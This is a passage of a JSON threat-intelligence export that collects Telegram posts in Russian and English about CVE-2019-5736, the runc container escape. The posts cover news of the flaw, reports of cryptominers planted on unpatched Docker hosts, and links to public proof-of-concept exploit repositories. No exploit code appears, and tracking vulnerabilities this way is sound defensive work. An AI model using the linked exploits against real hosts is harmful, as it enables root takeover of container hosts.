\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0438 \ud83d\udce6\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432\n\n\u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b \u0438 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b \u0434\u0430\u0432\u043d\u043e \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0431\u044b\u0442\u044c \u0438\u0433\u0440\u0443\u0448\u043a\u043e\u0439 DevOps-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u043e \u0432\u0430\u0436\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u2014 \u043e\u0442 \u043f\u043b\u0430\u0442\u0451\u0436\u043d\u044b\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c \u0434\u043e \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0432 \u0410\u0421\u0423 \u0422\u041f. \u041e\u0434\u043d\u0430\u043a\u043e \u0441 \u0440\u043e\u0441\u0442\u043e\u043c \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442\u0441\u044f \u0438 \u00ab\u043f\u043b\u043e\u0449\u0430\u0434\u044c \u0430\u0442\u0430\u043a\u0438\u00bb. \n\n\u0422\u0430\u043a, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e, \u0447\u0442\u043e \u0441\u0432\u044b\u0448\u0435 30 % \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u043e\u0432 \u0432 Docker Hub \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 CVE, \u043f\u0440\u0438\u0447\u0451\u043c \u0440\u0435\u0447\u044c \u0438\u0434\u0451\u0442 \u0438\u043c\u0435\u043d\u043d\u043e \u043e \u00ab\u0437\u0430\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445\u00bb \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043d\u043e\u0433\u0438\u0435 \u0441\u0447\u0438\u0442\u0430\u044e\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c\u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e. \n\n\u0412 runtime-\u0441\u0440\u0435\u0434\u0435 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u043d\u0435 \u043b\u0443\u0447\u0448\u0435: \u0437\u043d\u0430\u043c\u0435\u043d\u0438\u0442\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2019-5736 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0432\u044b\u0440\u0432\u0430\u0442\u044c\u0441\u044f \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u043d\u0430 \u0445\u043e\u0441\u0442 \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u043e\u0434\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439. \u0418 \u0435\u0441\u043b\u0438 \u0440\u0430\u043d\u044c\u0448\u0435 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0440\u043e\u0438\u0441\u0448\u0435\u0441\u0442\u0432\u0438\u044f \u0440\u0435\u0434\u043a\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043b\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438, \u0442\u043e \u0432 2024 \u0433. \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0443\u0436\u0435 \u0432 52 % \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0441\u0442\u0430\u0442\u044c\u044e \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043c\u043e\u0436\u043d\u043e \u0437\u0434\u0435\u0441\u044c.", "creation_timestamp": "2026-07-30T00:02:53.490622Z"}, {"uuid": "2515ed0a-c889-4038-a15a-a913678dfd2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/3105", "content": "Breaking out of Docker via runC \u2013 Explaining CVE-2019-5736 https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/", "creation_timestamp": "2026-08-02T20:17:25.732439Z"}, {"uuid": "526afc86-9c1a-46de-8dd0-0cda0e81218c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/3105", "content": "Breaking out of Docker via runC \u2013 Explaining CVE-2019-5736 https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/", "creation_timestamp": "2026-08-03T01:13:42.590197Z"}, {"uuid": "75ef8b09-5257-4728-b6d4-c5c5f6c6dddc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/3351", "content": "Breaking out of Docker via runC \u2013 Explaining CVE-2019-5736 https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/", "creation_timestamp": "2026-08-03T01:44:59.640952Z"}, {"uuid": "9e04c9d8-f9a6-4275-bd07-072201641cce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/3982", "content": "Breaking out of Docker via runC \u2013 Explaining CVE-2019-5736 https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/", "creation_timestamp": "2026-08-03T02:07:12.479453Z"}, {"uuid": "25bc5280-2ae4-4d36-add9-4f0c12047e85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "exploited", "source": "https://t.me/thehackernews/196", "content": "New high severity \"RunC\" vulnerability (CVE-2019-5736) lets attackers escape #Linux container to gain root access on host machine.\n\nAffected Systems/Services \u2192 Docker, Kubernetes, Debian, Red Hat, Ubuntu, Google Cloud, Amazon AWS and more.\n\nhttps://thehackernews.com/2019/02/linux-container-runc-docker.html", "creation_timestamp": "2019-02-12T10:20:09.000000Z"}, {"uuid": "6e637989-8c08-4898-bed4-e325311b2373", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "exploited", "source": "https://t.me/xakep_ru/6074", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0435 Docker-\u0445\u043e\u0441\u0442\u044b \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043c\u0430\u0439\u043d\u0435\u0440\u0430\u043c\u0438\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b Imperva \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u0441\u043e\u0442\u043d\u0438 Docker-\u0445\u043e\u0441\u0442\u043e\u0432 \u0432\u0441\u0435 \u0435\u0449\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043f\u0435\u0440\u0435\u0434 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 CVE-2019-5736, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435.\n\nhttps://xakep.ru/2019/03/06/docker-miners/", "creation_timestamp": "2019-03-06T09:35:14.000000Z"}, {"uuid": "922ec591-dda0-4007-9a9b-3c3869810b28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/canyoupwnme/5125", "content": "CVE-2019-5736-PoC\nhttps://github.com/Frichetten/CVE-2019-5736-PoC", "creation_timestamp": "2019-02-15T22:04:06.000000Z"}, {"uuid": "0277a5b2-3b6e-4cd4-81f1-dd835d406dd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/canyoupwnme/5154", "content": "Breaking out of Docker via runC \u2013 Explaining CVE-2019-5736\nhttps://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/", "creation_timestamp": "2019-02-21T23:05:05.000000Z"}, {"uuid": "6d8b9835-1a20-44f3-801f-369aa57d66b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/canyoupwnme/5108", "content": "CVE-2019-5736: runc container breakout (all versions)\nhttps://seclists.org/oss-sec/2019/q1/119", "creation_timestamp": "2019-02-12T10:01:48.000000Z"}, {"uuid": "8e81447c-a08b-4ce3-8b14-c67268e56259", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/oleg_log/1433", "content": "\u0415\u0441\u043b\u0438 \u0442\u044b \u043d\u0435 \u0438\u0434\u0435\u0448\u044c \u043a \u0433\u0443\u0433\u043b\u0443, \u0433\u0443\u0433\u043b(\u0412\u0430\u0434\u0438\u043c) \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043a \u0442\u0435\u0431\u0435:\n\n> Subject: CVE-2019-5736: runc container breakout \nexploit code\nhttps://www.openwall.com/lists/oss-security/2019/02/13/3\n\n\u0421\u043f\u0430\u0441\u0438\u0431\u043e, \u0433\u0443\u0433\u043b-\u0412\u0430\u0434\u0438\u043c \ud83d\ude4c", "creation_timestamp": "2026-08-01T18:00:05.501056Z"}, {"uuid": "522d7102-800b-4f45-aec4-68d5c370b33b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/SecLabNews/4293", "content": "\u041d\u0430 \u043f\u043e\u0440\u0442\u0430\u043b\u0435 GitHub \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d PoC-\u043a\u043e\u0434 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2019-5736) \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432 RunC, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0439 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f AWS \u0438 Google Cloud, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0440\u044f\u0434 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 Linux.    \n\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 RunC", "creation_timestamp": "2019-02-19T09:34:33.000000Z"}, {"uuid": "d7c9f855-f628-474b-9339-75f2a8f5560a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "exploited", "source": "https://t.me/SecLabNews/4414", "content": "\u0421\u043e\u0442\u043d\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432 Docker \u0441\u0442\u0430\u043b\u0438 \u0436\u0435\u0440\u0442\u0432\u0430\u043c\u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u0434\u0436\u0435\u043a\u0438\u043d\u0433\u0430. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043b\u0438 \u0438\u0445 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430 \u0434\u043b\u044f \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2019-5736 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442 \u043c\u0430\u0439\u043d\u0435\u0440\u044b \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442.    \n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u044e\u0442 \u0445\u043e\u0441\u0442\u044b Docker \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442 \u043a\u0440\u0438\u043f\u0442\u043e\u043c\u0430\u0439\u043d\u0435\u0440\u044b", "creation_timestamp": "2019-03-06T08:17:03.000000Z"}, {"uuid": "2d6408a8-e289-4635-94cf-c8b9dcdc24df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "exploited", "source": "https://t.me/SecLabNews/4238", "content": "\u0412 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432 RunC \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2019-5736), \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b RunC \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0430 \u0445\u043e\u0441\u0442-\u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u043e\u0439 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 RunC, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Docker, containerd, Podman \u0438 CRI-O. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u043f\u043e\u0445\u043e\u0436\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 LXC \u0438 Apache Mesos.    \n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 RunC \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0430 \u0445\u043e\u0441\u0442\u0430\u0445 Docker", "creation_timestamp": "2019-02-12T11:04:03.000000Z"}, {"uuid": "e6d525b4-68c8-4d9f-977f-a8ead0a24773", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "exploited", "source": "https://t.me/DC8044_Info/75", "content": "\u041a\u043e\u0434 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430 \u0434\u043b\u044f CVE-2019-5736 \u0432 runc, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root \u043d\u0430 \u0445\u043e\u0441\u0442\u0435, \u043b\u0438\u043a\u043d\u0443\u043b\u0438 \u0432 \u043f\u0430\u0431\u043b\u0438\u043a \u0440\u0430\u043d\u044c\u0448\u0435 \u0437\u0430\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e CRD.\nhttps://gist.github.com/singe/0ad4078848d85dc0d03f9f9013796e45\n\u0414\u0435\u0442\u0430\u043b\u0438: https://habr.com/ru/company/flant/blog/439964/", "creation_timestamp": "2019-02-13T10:34:55.000000Z"}, {"uuid": "8e035a03-f33a-4155-8c76-6e5d331ccfcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/DC8044_Info/79", "content": "UPDATED \nthe CVE-2019-5736 container breakout PoC to not destroy runc on the host (i.e. non-destructive) and moved it to a repo\nhttps://github.com/singe/container-breakouts/blob/master/cve-2019-5736/safe_exploit.py", "creation_timestamp": "2019-02-14T10:18:24.000000Z"}, {"uuid": "a51286a8-0f5d-4182-99ca-f95dfa05aa94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/168", "content": "#exploit\n1. PoC for CVE-2019-5736:\nhttps://github.com/Frichetten/CVE-2019-5736-PoC\n\n2. CVE-2019-6111:\nOpenSSH 7.9 - scp client only performs cursory validation of the object name returned (only directory traversal attacks are prevented). A malicious scp server/MiTM attacker can overwrite arbitrary files in the scp client target directory\nhttps://github.com/53n7hu/SNP\n\n3. CVE-2019-6225:\nvoucher_swap - Exploiting MIG reference counting in iOS 12\nhttps://googleprojectzero.blogspot.com/2019/01/voucherswap-exploiting-mig-reference.html\n\n4. Exploiting Malwarebytes Anti-Exploit\nhttps://acru3l.github.io/2019/02/02/exploiting-mb-anti-exploit", "creation_timestamp": "2024-10-08T14:36:45.000000Z"}, {"uuid": "e25e8236-2246-41d2-baa5-25b68c190e4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/sysadmin_tools/785", "content": "\u0412 runc, \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2019-5736), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0438\u0437 \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b runc \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0445\u043e\u0441\u0442-\u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u043e\u0439 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 runtime runc, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Docker, cri-o, containerd, Kubernetes, Podman \u0438 flatpak. \u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u0445 LXC \u0438 Apache Mesos.\n\n http://bit.ly/2UWPPgH", "creation_timestamp": "2026-08-01T19:00:04.209216Z"}, {"uuid": "d71d90b6-5898-42cb-adb4-0fb244d43ab2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/devsecops_weekly/238", "content": "\u0412\u0441\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0442!\n\n\u041f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043f\u0440\u043e\u0435\u043a\u0442 KubeSploit, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 CyberArk. \u041f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u043d\u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c:\n\n\ud83c\udf6d \u00ab\u041f\u043e\u0431\u0435\u0433\u00bb \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 mount\n\ud83c\udf6d \u00ab\u041f\u043e\u0431\u0435\u0433\u00bb \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 docker.sock\n\ud83c\udf6d \u00ab\u041f\u043e\u0431\u0435\u0433\u00bb \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2019-5736 \n\ud83c\udf6d \u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430 Kubernetes \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 CVE\n\ud83c\udf6d \u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0440\u0442\u043e\u0432\n\ud83c\udf6d \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0432 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0435\n\n\u0422\u0430\u043a\u0436\u0435 \u0440\u0435\u0431\u044f\u0442\u0430 \u0441\u0434\u0435\u043b\u0430\u043b\u0438 mapping \u043d\u0430 MITRE ATT&CK (\u00ab\u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0443\u044e\u00bb \u0432\u0435\u0440\u0441\u0438\u044e), \u0430 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0438\u0437 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432, 